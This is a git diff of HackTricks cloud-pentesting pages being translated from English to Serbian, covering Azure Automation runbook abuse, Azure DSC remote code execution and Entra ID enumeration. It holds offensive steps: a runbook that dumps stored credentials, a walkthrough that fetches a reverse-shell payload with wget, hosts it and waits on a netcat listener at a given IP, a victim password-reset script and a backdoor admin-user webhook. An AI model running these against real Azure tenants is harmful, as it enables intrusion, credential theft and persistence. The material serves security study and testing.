> This will be **removed on September 30, 2023 and changed for Managed Identities.**
|
||||
> Ovo će biti **uklonjeno 30. septembra 2023. i promenjeno za Managed Identities.**
|
||||
|
||||
## Runbooks & Jobs
|
||||
|
||||
**Runbooks** allow you to **execute arbitrary PowerShell** code. This could be **abused by an attacker** to steal the permissions of the **attached principal** (if any).\
|
||||
In the **code** of **Runbooks** you could also find **sensitive info** (such as creds).
|
||||
**Runbooks** vam omogućavaju da **izvršavate proizvoljni PowerShell** kod. Ovo bi moglo biti **zloupotrebljeno od strane napadača** da ukrade dozvole **pridruženog principala** (ako ih ima).\
|
||||
U **kod**-u **Runbooks** takođe možete pronaći **osetljive informacije** (kao što su kredencijali).
|
||||
|
||||
If you can **read** the **jobs**, do it as they **contain** the **output** of the run (potential **sensitive info**).
|
||||
Ako možete **čitati** **poslove**, uradite to jer **sadrže** **izlaz** izvršenja (potencijalne **osetljive informacije**).
|
||||
|
||||
Go to `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
Idite na `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
### Hybrid Worker
|
||||
### Hibridni radnik
|
||||
|
||||
A Runbook can be run in a **container inside Azure** or in a **Hybrid Worker** (non-azure machine).\
|
||||
The **Log Analytics Agent** is deployed on the VM to register it as a hybrid worker.\
|
||||
The hybrid worker jobs run as **SYSTEM** on Windows and **nxautomation** account on Linux.\
|
||||
Each Hybrid Worker is registered in a **Hybrid Worker Group**.
|
||||
Runbook se može izvršiti u **kontejneru unutar Azure-a** ili u **Hibridnom radniku** (mašina koja nije Azure).\
|
||||
**Log Analytics Agent** se instalira na VM-u da bi ga registrovao kao hibridnog radnika.\
|
||||
Poslovi hibridnog radnika se izvršavaju kao **SYSTEM** na Windows-u i **nxautomation** račun na Linux-u.\
|
||||
Svaki Hibridni radnik je registrovan u **Hibridnoj radnoj grupi**.
|
||||
|
||||
Therefore, if you can choose to run a **Runbook** in a **Windows Hybrid Worker**, you will execute **arbitrary commands** inside an external machine as **System** (nice pivot technique).
|
||||
Stoga, ako možete izabrati da izvršite **Runbook** u **Windows Hibridnom radniku**, izvršićete **proizvoljne komande** unutar spoljne mašine kao **System** (lepa pivot tehnika).
|
||||
|
||||
## Compromise State Configuration (SC)
|
||||
## Kompromitovana konfiguracija stanja (SC)
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** is an Azure configuration management service that allows you to write, manage, and compile PowerShell Desired State Configuration (DSC) [configurations](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) for nodes in any cloud or on-premises datacenter. The service also imports [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources), and assigns configurations to target nodes, all in the cloud. You can access Azure Automation State Configuration in the Azure portal by selecting **State configuration (DSC)** under **Configuration Management**.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** je usluga upravljanja konfiguracijom u Azure-u koja vam omogućava da pišete, upravljate i kompajlirate PowerShell Desired State Configuration (DSC) [konfiguracije](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) za čvorove u bilo kojoj cloud ili lokalnoj datacentru. Usluga takođe uvozi [DSC resurse](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) i dodeljuje konfiguracije ciljnim čvorovima, sve u oblaku. Možete pristupiti Azure Automation State Configuration u Azure portalu tako što ćete izabrati **State configuration (DSC)** pod **Upravljanje konfiguracijom**.
|
||||
|
||||
**Sensitive information** could be found in these configurations.
|
||||
**Osetljive informacije** mogu se pronaći u ovim konfiguracijama.
|
||||
|
||||
### RCE
|
||||
|
||||
It's possible to abuse SC to run arbitrary scripts in the managed machines.
|
||||
Moguće je zloupotrebiti SC da izvršite proizvoljne skripte na upravljanim mašinama.
|
||||
|
||||
{{#ref}}
|
||||
az-state-configuration-rce.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumeration
|
||||
|
||||
## Enumeracija
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
@@ -80,9 +79,7 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
|
||||
### Create a Runbook
|
||||
|
||||
### Kreirajte Runbook
|
||||
```powershell
|
||||
# Get the role of a user on the Automation account
|
||||
# Contributor or higher = Can create and execute Runbooks
|
||||
@@ -97,9 +94,7 @@ Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <
|
||||
# Start the Runbook
|
||||
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
```
|
||||
|
||||
### Exfiltrate Creds & Variables defined in an Automation Account using a Run Book
|
||||
|
||||
### Ekstraktovanje kredencijala i varijabli definisanih u Automation Account koristeći Run Book
|
||||
```powershell
|
||||
# Change the crdentials & variables names and add as many as you need
|
||||
@'
|
||||
@@ -122,61 +117,54 @@ $start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $Au
|
||||
start-sleep 20
|
||||
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You could do the same thing modifying an existing Run Book, and from the web console.
|
||||
> Možete uraditi istu stvar modifikovanjem postojećeg Run Book-a, i iz web konzole.
|
||||
|
||||
### Steps for Setting Up an Automated Highly Privileged User Creation
|
||||
### Koraci za Postavljanje Automatizovane Kreacije Korisnika sa Visokim Ovlašćenjima
|
||||
|
||||
#### 1. Initialize an Automation Account
|
||||
#### 1. Inicijalizujte Automatizovani Nalog
|
||||
|
||||
- **Action Required:** Create a new Automation Account.
|
||||
- **Specific Setting:** Ensure "Create Azure Run As account" is enabled.
|
||||
- **Akcija koja je potrebna:** Kreirajte novi Automatizovani Nalog.
|
||||
- **Specifična Postavka:** Osigurajte da je "Kreiraj Azure Run As nalog" omogućeno.
|
||||
|
||||
#### 2. Import and Set Up Runbook
|
||||
#### 2. Uvezite i Postavite Runbook
|
||||
|
||||
- **Source:** Download the sample runbook from [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
|
||||
- **Actions Required:**
|
||||
- Import the runbook into the Automation Account.
|
||||
- Publish the runbook to make it executable.
|
||||
- Attach a webhook to the runbook, enabling external triggers.
|
||||
- **Izvor:** Preuzmite uzorak runbook-a sa [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
|
||||
- **Potrebne Akcije:**
|
||||
- Uvezite runbook u Automatizovani Nalog.
|
||||
- Objavite runbook da bi postao izvršiv.
|
||||
- Priključite webhook na runbook, omogućavajući spoljne okidače.
|
||||
|
||||
#### 3. Configure AzureAD Module
|
||||
#### 3. Konfigurišite AzureAD Modul
|
||||
|
||||
- **Action Required:** Add the AzureAD module to the Automation Account.
|
||||
- **Additional Step:** Ensure all Azure Automation Modules are updated to their latest versions.
|
||||
- **Akcija koja je potrebna:** Dodajte AzureAD modul u Automatizovani Nalog.
|
||||
- **Dodatni Korak:** Osigurajte da su svi Azure Automatizovani Moduli ažurirani na najnovije verzije.
|
||||
|
||||
#### 4. Permission Assignment
|
||||
#### 4. Dodeljivanje Dozvola
|
||||
|
||||
- **Roles to Assign:**
|
||||
- User Administrator
|
||||
- Subscription Owner
|
||||
- **Target:** Assign these roles to the Automation Account for necessary privileges.
|
||||
- **Uloge za Dodeljivanje:**
|
||||
- Administrator Korisnika
|
||||
- Vlasnik Pretplate
|
||||
- **Cilj:** Dodelite ove uloge Automatizovanom Nalogu za potrebna ovlašćenja.
|
||||
|
||||
#### 5. Awareness of Potential Access Loss
|
||||
#### 5. Svest o Potencijalnom Gubitku Pristupa
|
||||
|
||||
- **Note:** Be aware that configuring such automation might lead to losing control over the subscription.
|
||||
- **Napomena:** Budite svesni da konfigurisanje takve automatizacije može dovesti do gubitka kontrole nad pretplatom.
|
||||
|
||||
#### 6. Trigger User Creation
|
||||
|
||||
- Trigger the webhook to create a new user by sending a POST request.
|
||||
- Use the PowerShell script provided, ensuring to replace the `$uri` with your actual webhook URL and updating the `$AccountInfo` with the desired username and password.
|
||||
#### 6. Okidanje Kreacije Korisnika
|
||||
|
||||
- Okidajte webhook za kreiranje novog korisnika slanjem POST zahteva.
|
||||
- Koristite PowerShell skriptu koja je data, osiguravajući da zamenite `$uri` sa vašom stvarnom webhook URL adresom i ažurirate `$AccountInfo` sa željenim korisničkim imenom i lozinkom.
|
||||
```powershell
|
||||
$uri = "<YOUR_WEBHOOK_URL>"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,68 +2,56 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**Proverite ceo post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
### Summary of Remote Server (C2) Infrastructure Preparation and Steps
|
||||
### Sažetak pripreme infrastrukture udaljenog servera (C2) i koraka
|
||||
|
||||
#### Overview
|
||||
#### Pregled
|
||||
|
||||
The process involves setting up a remote server infrastructure to host a modified Nishang `Invoke-PowerShellTcp.ps1` payload, named `RevPS.ps1`, designed to bypass Windows Defender. The payload is served from a Kali Linux machine with IP `40.84.7.74` using a simple Python HTTP server. The operation is executed through several steps:
|
||||
Proces uključuje postavljanje infrastrukture udaljenog servera za hostovanje modifikovanog Nishang `Invoke-PowerShellTcp.ps1` payload-a, nazvanog `RevPS.ps1`, dizajniranog da zaobiđe Windows Defender. Payload se servira sa Kali Linux mašine sa IP `40.84.7.74` koristeći jednostavan Python HTTP server. Operacija se izvršava kroz nekoliko koraka:
|
||||
|
||||
#### Step 1 — Create Files
|
||||
#### Korak 1 — Kreirajte fajlove
|
||||
|
||||
- **Files Required:** Two PowerShell scripts are needed:
|
||||
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
- **Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
|
||||
- **Potrebni fajlovi:** Potrebna su dva PowerShell skripta:
|
||||
1. `reverse_shell_config.ps1`: Fajl Desired State Configuration (DSC) koji preuzima i izvršava payload. Dostupan je na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Skript za objavljivanje konfiguracije na VM, dostupan na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
- **Prilagođavanje:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a.
|
||||
|
||||
#### Step 2 — Zip Configuration File
|
||||
|
||||
- The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
|
||||
#### Korak 2 — Zip konfiguracioni fajl
|
||||
|
||||
- `reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čineći ga spremnim za prenos na Azure Storage Account.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
#### Korak 3 — Postavi kontekst skladišta i otpremi
|
||||
|
||||
#### Step 3 — Set Storage Context & Upload
|
||||
|
||||
- The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
|
||||
|
||||
- Zipovana konfiguraciona datoteka se otprema u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ovu Set-AzStorageBlobContent cmdlet.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
#### Step 4 — Priprema Kali Box-a
|
||||
|
||||
#### Step 4 — Prep Kali Box
|
||||
|
||||
- The Kali server downloads the RevPS.ps1 payload from a GitHub repository.
|
||||
|
||||
- Kali server preuzima RevPS.ps1 payload iz GitHub repozitorijuma.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
- Skripta se uređuje da specificira ciljni Windows VM i port za reverznu ljusku.
|
||||
|
||||
- The script is edited to specify the target Windows VM and port for the reverse shell.
|
||||
#### Korak 5 — Objavi Konfiguracioni Fajl
|
||||
|
||||
#### Step 5 — Publish Configuration File
|
||||
- Konfiguracioni fajl se izvršava, što rezultira implementacijom skripte za reverznu ljusku na specificiranoj lokaciji na Windows VM.
|
||||
|
||||
- The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
|
||||
|
||||
#### Step 6 — Host Payload and Setup Listener
|
||||
|
||||
- A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
|
||||
#### Korak 6 — Hostuj Payload i Postavi Listener
|
||||
|
||||
- Pokreće se Python SimpleHTTPServer za hostovanje payload-a, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
- Zakazani zadatak izvršava payload, postižući privilegije na nivou SISTEMA.
|
||||
|
||||
- The scheduled task executes the payload, achieving SYSTEM-level privileges.
|
||||
#### Zaključak
|
||||
|
||||
#### Conclusion
|
||||
|
||||
The successful execution of this process opens numerous possibilities for further actions, such as credential dumping or expanding the attack to multiple VMs. The guide encourages continued learning and creativity in the realm of Azure Automation DSC.
|
||||
Uspešna izvršenja ovog procesa otvara brojne mogućnosti za dalja delovanja, kao što su iskopavanje kredencijala ili proširivanje napada na više VM-ova. Vodič podstiče kontinuirano učenje i kreativnost u oblasti Azure Automation DSC.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,19 +2,18 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
Azure Active Directory (Azure AD) serves as Microsoft's cloud-based service for identity and access management. It is instrumental in enabling employees to sign in and gain access to resources, both within and beyond the organization, encompassing Microsoft 365, the Azure portal, and a multitude of other SaaS applications. The design of Azure AD focuses on delivering essential identity services, prominently including **authentication, authorization, and user management**.
|
||||
Azure Active Directory (Azure AD) služi kao Microsoftova usluga zasnovana na oblaku za upravljanje identitetom i pristupom. Ona je ključna za omogućavanje zaposlenima da se prijave i dobiju pristup resursima, kako unutar tako i van organizacije, uključujući Microsoft 365, Azure portal i brojne druge SaaS aplikacije. Dizajn Azure AD se fokusira na pružanje osnovnih usluga identiteta, posebno uključujući **autentifikaciju, autorizaciju i upravljanje korisnicima**.
|
||||
|
||||
Key features of Azure AD involve **multi-factor authentication** and **conditional access**, alongside seamless integration with other Microsoft security services. These features significantly elevate the security of user identities and empower organizations to effectively implement and enforce their access policies. As a fundamental component of Microsoft's cloud services ecosystem, Azure AD is pivotal for the cloud-based management of user identities.
|
||||
Ključne karakteristike Azure AD uključuju **višefaktorsku autentifikaciju** i **uslovni pristup**, uz besprekornu integraciju sa drugim Microsoftovim bezbednosnim uslugama. Ove karakteristike značajno povećavaju bezbednost identiteta korisnika i omogućavaju organizacijama da efikasno implementiraju i sprovode svoje politike pristupa. Kao osnovna komponenta Microsoftovog ekosistema usluga zasnovanih na oblaku, Azure AD je ključan za upravljanje identitetima korisnika u oblaku.
|
||||
|
||||
## Enumeration
|
||||
## Enumeracija
|
||||
|
||||
### **Connection**
|
||||
### **Konekcija**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
az login #This will open the browser (if not use --use-device-code)
|
||||
az login -u <username> -p <password> #Specify user and password
|
||||
@@ -43,11 +42,9 @@ az find "vm" # Find vm commands
|
||||
az vm -h # Get subdomains
|
||||
az ad user list --query-examples # Get examples
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Mg" }}
|
||||
|
||||
```powershell
|
||||
# Login Open browser
|
||||
Connect-MgGraph
|
||||
@@ -72,11 +69,9 @@ Connect-MgGraph -AccessToken $secureToken
|
||||
# Find commands
|
||||
Find-MgGraphCommand -command *Mg*
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
Connect-AzAccount #Open browser
|
||||
# Using credentials
|
||||
@@ -98,7 +93,7 @@ Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -Accou
|
||||
# Connect with Service principal/enterprise app secret
|
||||
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
|
||||
$creds = New-Object
|
||||
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
|
||||
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
|
||||
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d
|
||||
|
||||
#All the Azure AD cmdlets have the format *-AzAD*
|
||||
@@ -106,33 +101,29 @@ Get-Command *azad*
|
||||
#Cmdlets for other Azure resources have the format *Az*
|
||||
Get-Command *az*
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw PS" }}
|
||||
|
||||
```powershell
|
||||
#Using management
|
||||
$Token = 'eyJ0eXAi..'
|
||||
# List subscriptions
|
||||
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
|
||||
# Using graph
|
||||
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="curl" }}
|
||||
|
||||
```bash
|
||||
# Request tokens to access endpoints
|
||||
# ARM
|
||||
@@ -141,11 +132,9 @@ curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-
|
||||
# Vault
|
||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
Connect-AzureAD #Open browser
|
||||
# Using credentials
|
||||
@@ -157,57 +146,52 @@ Connect-AzureAD -Credential $creds
|
||||
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
|
||||
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
When you **login** via **CLI** into Azure with any program, you are using an **Azure Application** from a **tenant** that belongs to **Microsoft**. These Applications, like the ones you can create in your account, **have a client id**. You **won't be able to see all of them** in the **allowed applications lists** you can see in the console, **but they are allowed by default**.
|
||||
Kada se **prijavite** putem **CLI** u Azure sa bilo kojim programom, koristite **Azure aplikaciju** iz **tenanta** koji pripada **Microsoftu**. Ove aplikacije, poput onih koje možete kreirati u svom nalogu, **imaju klijent id**. **Nećete moći da vidite sve njih** u **listama dozvoljenih aplikacija** koje možete videti u konzoli, **ali su po defaultu dozvoljene**.
|
||||
|
||||
For example a **powershell script** that **authenticates** use an app with client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Even if the app doesn't appear in the console, a sysadmin could **block that application** so users cannot access using tools that connects via that App.
|
||||
|
||||
However, there are **other client-ids** of applications that **will allow you to connect to Azure**:
|
||||
Na primer, **powershell skripta** koja **autentifikuje** koristi aplikaciju sa klijent id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Čak i ako aplikacija ne pojavljuje u konzoli, sysadmin može **blokirati tu aplikaciju** tako da korisnici ne mogu pristupiti koristeći alate koji se povezuju putem te aplikacije.
|
||||
|
||||
Međutim, postoje **drugi klijent-ids** aplikacija koje **će vam omogućiti da se povežete na Azure**:
|
||||
```powershell
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
$token = Invoke-Authorize -Credential $credential `
|
||||
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
|
||||
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
|
||||
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
|
||||
$token = Invoke-Authorize -Credential $credential `
|
||||
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
|
||||
-Scope 'openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
|
||||
-Scope 'openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
|
||||
$token = Invoke-Authorize -Credential $credential `
|
||||
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
|
||||
-Scope 'openid' `
|
||||
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
|
||||
-Scope 'openid' `
|
||||
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
```
|
||||
|
||||
### Tenants
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List tenants
|
||||
az account tenant list
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Users
|
||||
### Korisnici
|
||||
|
||||
For more information about Entra ID users check:
|
||||
Za više informacija o Entra ID korisnicima pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -215,7 +199,6 @@ For more information about Entra ID users check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Enumerate users
|
||||
az ad user list --output table
|
||||
@@ -245,7 +228,7 @@ az role assignment list --include-inherited --include-groups --include-classic-a
|
||||
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
|
||||
## Get users
|
||||
curl -X GET "https://graph.microsoft.com/v1.0/users" \
|
||||
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
|
||||
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
|
||||
## Get EntraID roles assigned to an user
|
||||
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
@@ -256,11 +239,9 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" | jq
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate Users
|
||||
Get-AzureADUser -All $true
|
||||
@@ -296,11 +277,9 @@ Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAp
|
||||
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
|
||||
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate users
|
||||
Get-AzADUser
|
||||
@@ -312,21 +291,18 @@ Get-AzADUser | ?{$_.Displayname -match "admin"}
|
||||
# Get roles assigned to a user
|
||||
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Change User Password
|
||||
|
||||
#### Promena lozinke korisnika
|
||||
```powershell
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
|
||||
### MFA & Conditional Access Policies
|
||||
|
||||
It's highly recommended to add MFA to every user, however, some companies won't set it or might set it with a Conditional Access: The user will be **required MFA if** it logs in from an specific location, browser or **some condition**. These policies, if not configured correctly might be prone to **bypasses**. Check:
|
||||
Preporučuje se da se doda MFA za svakog korisnika, međutim, neke kompanije to neće postaviti ili će možda postaviti uz Conditional Access: Korisnik će biti **required MFA if** se prijavi sa određene lokacije, pretraživača ili **neke uslove**. Ove politike, ako nisu pravilno konfigurisane, mogu biti podložne **bypass-ima**. Proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -334,7 +310,7 @@ It's highly recommended to add MFA to every user, however, some companies won't
|
||||
|
||||
### Groups
|
||||
|
||||
For more information about Entra ID groups check:
|
||||
Za više informacija o Entra ID grupama proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -342,7 +318,6 @@ For more information about Entra ID groups check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate groups
|
||||
az ad group list
|
||||
@@ -369,11 +344,9 @@ az role assignment list --include-groups --include-classic-administrators true -
|
||||
|
||||
# To get Entra ID roles assigned check how it's done with users and use a group ID
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate Groups
|
||||
Get-AzureADGroup -All $true
|
||||
@@ -399,11 +372,9 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
# Get Apps where a group has a role (role not shown)
|
||||
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get all groups
|
||||
Get-AzADGroup
|
||||
@@ -417,21 +388,18 @@ Get-AzADGroupMember -GroupDisplayName <resource_group_name>
|
||||
# Get roles of group
|
||||
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
